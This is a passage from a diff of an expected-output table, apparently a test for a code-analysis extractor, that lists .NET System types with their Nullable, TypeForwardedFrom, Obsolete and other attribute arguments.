| [ConditionalAttribute(...)] | 0 | DEBUG | +| System.Diagnostics.Contracts.ContractClassAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Contracts.ContractClassAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Contracts.ContractClassForAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractClassForAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Contracts.ContractClassForAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Contracts.ContractException | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Contracts.ContractException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Contracts.ContractException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Diagnostics.Contracts.ContractFailedEventArgs | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Contracts.ContractFailedEventArgs | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Contracts.ContractFailureKind | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Diagnostics.Contracts.ContractInvariantMethodAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractOptionAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractOptionAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Contracts.ContractOptionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Contracts.ContractPublicPropertyNameAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractPublicPropertyNameAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Contracts.ContractPublicPropertyNameAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Contracts.ContractRuntimeIgnoredAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractVerificationAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.PureAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Debug | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Debug | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.DebugProvider | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.DebugProvider | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Debugger | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Debugger | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.DebuggerDisplayAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.DebuggerDisplayAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.DebuggerTypeProxyAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.DebuggerTypeProxyAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.DebuggerVisualizerAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.DebuggerVisualizerAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.StackFrame | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.StackFrame | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.StackTrace | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.StackTrace | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.SymbolStore.ISymbolDocumentWriter | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Tracing.DiagnosticCounter | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.DiagnosticCounter | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Tracing.EventAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.EventAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Tracing.EventCounter | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.EventCounter | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Tracing.EventDataAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.EventDataAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Tracing.EventListener | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.EventListener | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Tracing.EventListener.EventSourceCreated | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Diagnostics.Tracing.EventListener.EventWritten | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Diagnostics.Tracing.EventPayload | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Diagnostics.Tracing.EventSource | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.EventSource | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Tracing.EventSource System.Diagnostics.Tracing.EventWrittenEventArgs.EventSource | [NullableAttribute(...)] | 0 | 1 | +| System.Diagnostics.Tracing.EventSource.EventCommandExecuted | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Diagnostics.Tracing.EventSource.EventData | [NullableContextAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.EventSourceAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.EventSourceAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Tracing.EventSourceCreatedEventArgs | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.EventSourceCreatedEventArgs | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Tracing.EventSourceException | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.EventSourceException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Tracing.EventWrittenEventArgs | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.EventWrittenEventArgs | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Tracing.IncrementingEventCounter | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.IncrementingEventCounter | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Tracing.IncrementingPollingCounter | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.IncrementingPollingCounter | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Tracing.PollingCounter | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.PollingCounter | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Tracing.SessionMask | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Diagnostics.Tracing.TraceLoggingEventHandleTable | [DefaultMemberAttribute(...)] | 0 | Item | +| System.DivideByZeroException | [NullableAttribute(...)] | 0 | 0 | +| System.DivideByZeroException | [NullableContextAttribute(...)] | 0 | 2 | +| System.DivideByZeroException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.DllNotFoundException | [NullableAttribute(...)] | 0 | 0 | +| System.DllNotFoundException | [NullableContextAttribute(...)] | 0 | 2 | +| System.DllNotFoundException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.DuplicateWaitObjectException | [NullableAttribute(...)] | 0 | 0 | +| System.DuplicateWaitObjectException | [NullableContextAttribute(...)] | 0 | 2 | +| System.DuplicateWaitObjectException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.EntryPointNotFoundException | [NullableAttribute(...)] | 0 | 0 | +| System.EntryPointNotFoundException | [NullableContextAttribute(...)] | 0 | 2 | +| System.EntryPointNotFoundException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Enum | [NullableAttribute(...)] | 0 | 0 | +| System.Enum | [NullableContextAttribute(...)] | 0 | 1 | +| System.Enum | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Environment | [NullableAttribute(...)] | 0 | 0 | +| System.Environment | [NullableContextAttribute(...)] | 0 | 1 | +| System.Environment.SpecialFolder | [NullableContextAttribute(...)] | 0 | 0 | +| System.Environment.SpecialFolderOption | [NullableContextAttribute(...)] | 0 | 0 | +| System.EventArgs | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.EventArgs.Empty | [NullableAttribute(...)] | 0 | 1 | +| System.Exception | [NullableAttribute(...)] | 0 | 0 | +| System.Exception | [NullableContextAttribute(...)] | 0 | 2 | +| System.Exception | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Exception.SerializeObjectState | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Exception[] System.Reflection.ReflectionTypeLoadException.LoaderExceptions | [NullableAttribute(...)] | 0 | 2 | +| System.ExecutionEngineException | [NullableAttribute(...)] | 0 | 0 | +| System.ExecutionEngineException | [NullableContextAttribute(...)] | 0 | 2 | +| System.ExecutionEngineException | [ObsoleteAttribute(...)] | 0 | This type previously indicated an unspecified fatal error in the runtime. The runtime no longer raises this exception so this type is obsolete. | +| System.ExecutionEngineException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.FieldAccessException | [NullableAttribute(...)] | 0 | 0 | +| System.FieldAccessException | [NullableContextAttribute(...)] | 0 | 2 | +| System.FieldAccessException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.FormatException | [NullableAttribute(...)] | 0 | 0 | +| System.FormatException | [NullableContextAttribute(...)] | 0 | 2 | +| System.FormatException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.FormattableString | [NullableAttribute(...)] | 0 | 0 | +| System.FormattableString | [NullableContextAttribute(...)] | 0 | 1 | +| System.Func`5 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`5 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`6 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`6 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`7 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`7 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`8 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`8 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`9 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`9 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`10 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`10 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`11 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`11 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`12 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`12 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`13 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`13 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`14 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`14 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`15 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`15 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`16 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`16 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Func`17 | [NullableAttribute(...)] | 0 | 0 | +| System.Func`17 | [NullableContextAttribute(...)] | 0 | 2 | +| System.GC | [NullableAttribute(...)] | 0 | 0 | +| System.GC | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.Calendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.Calendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.ChineseLunisolarCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.ChineseLunisolarCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.CompareInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.CompareInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.CompareInfo | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Globalization.CultureInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.CultureInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.CultureInfo System.Globalization.CultureInfo.DefaultThreadCurrentCulture | [NullableAttribute(...)] | 0 | 2 | +| System.Globalization.CultureInfo System.Globalization.CultureInfo.DefaultThreadCurrentUICulture | [NullableAttribute(...)] | 0 | 2 | +| System.Globalization.CultureNotFoundException | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.CultureNotFoundException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Globalization.CultureNotFoundException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Globalization.CultureTypes.FrameworkCultures | [ObsoleteAttribute(...)] | 0 | This value has been deprecated. Please use other values in CultureTypes. | +| System.Globalization.CultureTypes.WindowsOnlyCultures | [ObsoleteAttribute(...)] | 0 | This value has been deprecated. Please use other values in CultureTypes. | +| System.Globalization.DateTimeFormatInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.DateTimeFormatInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.EraInfo[] System.Globalization.ChineseLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Globalization.EraInfo[] System.Globalization.EastAsianLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Globalization.EraInfo[] System.Globalization.JapaneseLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Globalization.EraInfo[] System.Globalization.KoreanLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Globalization.EraInfo[] System.Globalization.TaiwanLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Globalization.GregorianCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.GregorianCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.HebrewCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.HebrewCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.HijriCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.HijriCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.IdnMapping | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.IdnMapping | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.JapaneseCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.JapaneseCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.JapaneseLunisolarCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.JapaneseLunisolarCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.JulianCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.JulianCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.KoreanCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.KoreanCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.KoreanLunisolarCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.KoreanLunisolarCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.NumberFormatInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.NumberFormatInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.PersianCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.PersianCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.RegionInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.RegionInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.SortKey | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.SortKey | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.SortVersion | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.SortVersion | [NullableContextAttribute(...)] | 0 | 2 | +| System.Globalization.SortVersion | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Globalization.StringInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.StringInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.TaiwanCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.TaiwanCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.TaiwanLunisolarCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.TaiwanLunisolarCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.TextElementEnumerator | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.TextElementEnumerator | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.TextInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.TextInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.ThaiBuddhistCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.ThaiBuddhistCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Globalization.TimeSpanParse.StringParser | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Globalization.TimeSpanParse.StringParser | [ObsoleteAttribute(...)] | 1 | True | +| System.Globalization.TimeSpanParse.TimeSpanRawInfo | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Globalization.TimeSpanParse.TimeSpanRawInfo | [ObsoleteAttribute(...)] | 1 | True | +| System.Globalization.TimeSpanParse.TimeSpanResult | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Globalization.TimeSpanParse.TimeSpanResult | [ObsoleteAttribute(...)] | 1 | True | +| System.Globalization.TimeSpanParse.TimeSpanToken | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Globalization.TimeSpanParse.TimeSpanToken | [ObsoleteAttribute(...)] | 1 | True | +| System.Globalization.TimeSpanParse.TimeSpanTokenizer | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Globalization.TimeSpanParse.TimeSpanTokenizer | [ObsoleteAttribute(...)] | 1 | True | +| System.Globalization.UmAlQuraCalendar | [NullableAttribute(...)] | 0 | 0 | +| System.Globalization.UmAlQuraCalendar | [NullableContextAttribute(...)] | 0 | 1 | +| System.Guid | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.HashCode | [NullableAttribute(...)] | 0 | 0 | +| System.HashCode | [NullableContextAttribute(...)] | 0 | 1 | +| System.IAsyncResult | [NullableContextAttribute(...)] | 0 | 1 | +| System.ICloneable | [NullableContextAttribute(...)] | 0 | 1 | +| System.IComparable | [NullableContextAttribute(...)] | 0 | 2 | +| System.IComparable`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.IConvertible | [CLSCompliantAttribute(...)] | 0 | False | +| System.IConvertible | [NullableContextAttribute(...)] | 0 | 2 | +| System.ICustomFormatter | [NullableContextAttribute(...)] | 0 | 2 | +| System.IEquatable`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.IFormatProvider | [NullableContextAttribute(...)] | 0 | 2 | +| System.IFormattable | [NullableContextAttribute(...)] | 0 | 2 | +| System.IO.BinaryReader | [NullableAttribute(...)] | 0 | 0 | +| System.IO.BinaryReader | [NullableContextAttribute(...)] | 0 | 1 | +| System.IO.BinaryWriter | [NullableAttribute(...)] | 0 | 0 | +| System.IO.BinaryWriter | [NullableContextAttribute(...)] | 0 | 1 | +| System.IO.DirectoryNotFoundException | [NullableAttribute(...)] | 0 | 0 | +| System.IO.DirectoryNotFoundException | [NullableContextAttribute(...)] | 0 | 2 | +| System.IO.DirectoryNotFoundException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.IO.EndOfStreamException | [NullableAttribute(...)] | 0 | 0 | +| System.IO.EndOfStreamException | [NullableContextAttribute(...)] | 0 | 2 | +| System.IO.EndOfStreamException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.IO.FileLoadException | [NullableAttribute(...)] | 0 | 0 | +| System.IO.FileLoadException | [NullableContextAttribute(...)] | 0 | 2 | +| System.IO.FileLoadException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.IO.FileNotFoundException | [NullableAttribute(...)] | 0 | 0 | +| System.IO.FileNotFoundException | [NullableContextAttribute(...)] | 0 | 2 | +| System.IO.FileNotFoundException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.IO.FileStream | [NullableAttribute(...)] | 0 | 0 | +| System.IO.FileStream | [NullableContextAttribute(...)] | 0 | 1 | +| System.IO.IOException | [NullableAttribute(...)] | 0 | 0 | +| System.IO.IOException | [NullableContextAttribute(...)] | 0 | 2 | +| System.IO.IOException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.IO.MemoryStream | [NullableAttribute(...)] | 0 | 0 | +| System.IO.MemoryStream | [NullableContextAttribute(...)] | 0 | 1 | +| System.IO.Path.<>c.<>9__37_0 | [TupleElementNamesAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.IO.Path.<>c.<>9__38_0 | [TupleElementNamesAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.IO.Path.<>c.<>9__39_0 | [TupleElementNamesAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.IO.Path.InvalidPathChars | [NullableAttribute(...)] | 0 | 1 | +| System.IO.Path.InvalidPathChars | [ObsoleteAttribute(...)] | 0 | Please use GetInvalidPathChars or GetInvalidFileNameChars instead. | +| System.IO.PathTooLongException | [NullableAttribute(...)] | 0 | 0 | +| System.IO.PathTooLongException | [NullableContextAttribute(...)] | 0 | 2 | +| System.IO.PathTooLongException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.IO.Stream | [NullableAttribute(...)] | 0 | 0 | +| System.IO.Stream | [NullableContextAttribute(...)] | 0 | 1 | +| System.IO.StreamReader | [NullableAttribute(...)] | 0 | 0 | +| System.IO.StreamReader | [NullableContextAttribute(...)] | 0 | 1 | +| System.IO.StreamWriter | [NullableAttribute(...)] | 0 | 0 | +| System.IO.StreamWriter | [NullableContextAttribute(...)] | 0 | 1 | +| System.IO.TextReader | [NullableAttribute(...)] | 0 | 0 | +| System.IO.TextReader | [NullableContextAttribute(...)] | 0 | 1 | +| System.IO.TextWriter | [NullableAttribute(...)] | 0 | 0 | +| System.IO.TextWriter | [NullableContextAttribute(...)] | 0 | 1 | +| System.IObservable`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.IObserver`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.IProgress`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.IndexOutOfRangeException | [NullableAttribute(...)] | 0 | 0 | +| System.IndexOutOfRangeException | [NullableContextAttribute(...)] | 0 | 2 | +| System.IndexOutOfRangeException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.InsufficientExecutionStackException | [NullableAttribute(...)] | 0 | 0 | +| System.InsufficientExecutionStackException | [NullableContextAttribute(...)] | 0 | 2 | +| System.InsufficientExecutionStackException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.InsufficientMemoryException | [NullableAttribute(...)] | 0 | 0 | +| System.InsufficientMemoryException | [NullableContextAttribute(...)] | 0 | 2 | +| System.InsufficientMemoryException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.IntPtr | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.IntPtr System.IO.FileStream.Handle | [ObsoleteAttribute(...)] | 0 | This property has been deprecated. Please use FileStream's SafeFileHandle property instead. https://go.microsoft.com/fwlink/?linkid=14202 | +| System.IntPtr System.Threading.WaitHandle.Handle | [ObsoleteAttribute(...)] | 0 | Use the SafeWaitHandle property instead. | +| System.InvalidCastException | [NullableAttribute(...)] | 0 | 0 | +| System.InvalidCastException | [NullableContextAttribute(...)] | 0 | 2 | +| System.InvalidCastException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.InvalidOperationException | [NullableAttribute(...)] | 0 | 0 | +| System.InvalidOperationException | [NullableContextAttribute(...)] | 0 | 2 | +| System.InvalidOperationException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.InvalidProgramException | [NullableAttribute(...)] | 0 | 0 | +| System.InvalidProgramException | [NullableContextAttribute(...)] | 0 | 2 | +| System.InvalidProgramException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.InvalidTimeZoneException | [NullableAttribute(...)] | 0 | 0 | +| System.InvalidTimeZoneException | [NullableContextAttribute(...)] | 0 | 2 | +| System.InvalidTimeZoneException | [TypeForwardedFromAttribute(...)] | 0 | System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Lazy`1 | [DebuggerDisplayAttribute(...)] | 0 | ThreadSafetyMode={Mode}, IsValueCreated={IsValueCreated}, IsValueFaulted={IsValueFaulted}, Value={ValueForDebugDisplay} | +| System.Lazy`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Lazy`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Lazy`2 | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Lazy`2 | [NullableContextAttribute(...)] | 0 | 1 | +| System.MarshalByRefObject | [ComVisibleAttribute(...)] | 0 | True | +| System.MarshalByRefObject | [NullableAttribute(...)] | 0 | 0 | +| System.MarshalByRefObject | [NullableContextAttribute(...)] | 0 | 1 | +| System.MemberAccessException | [NullableAttribute(...)] | 0 | 0 | +| System.MemberAccessException | [NullableContextAttribute(...)] | 0 | 2 | +| System.MemberAccessException | 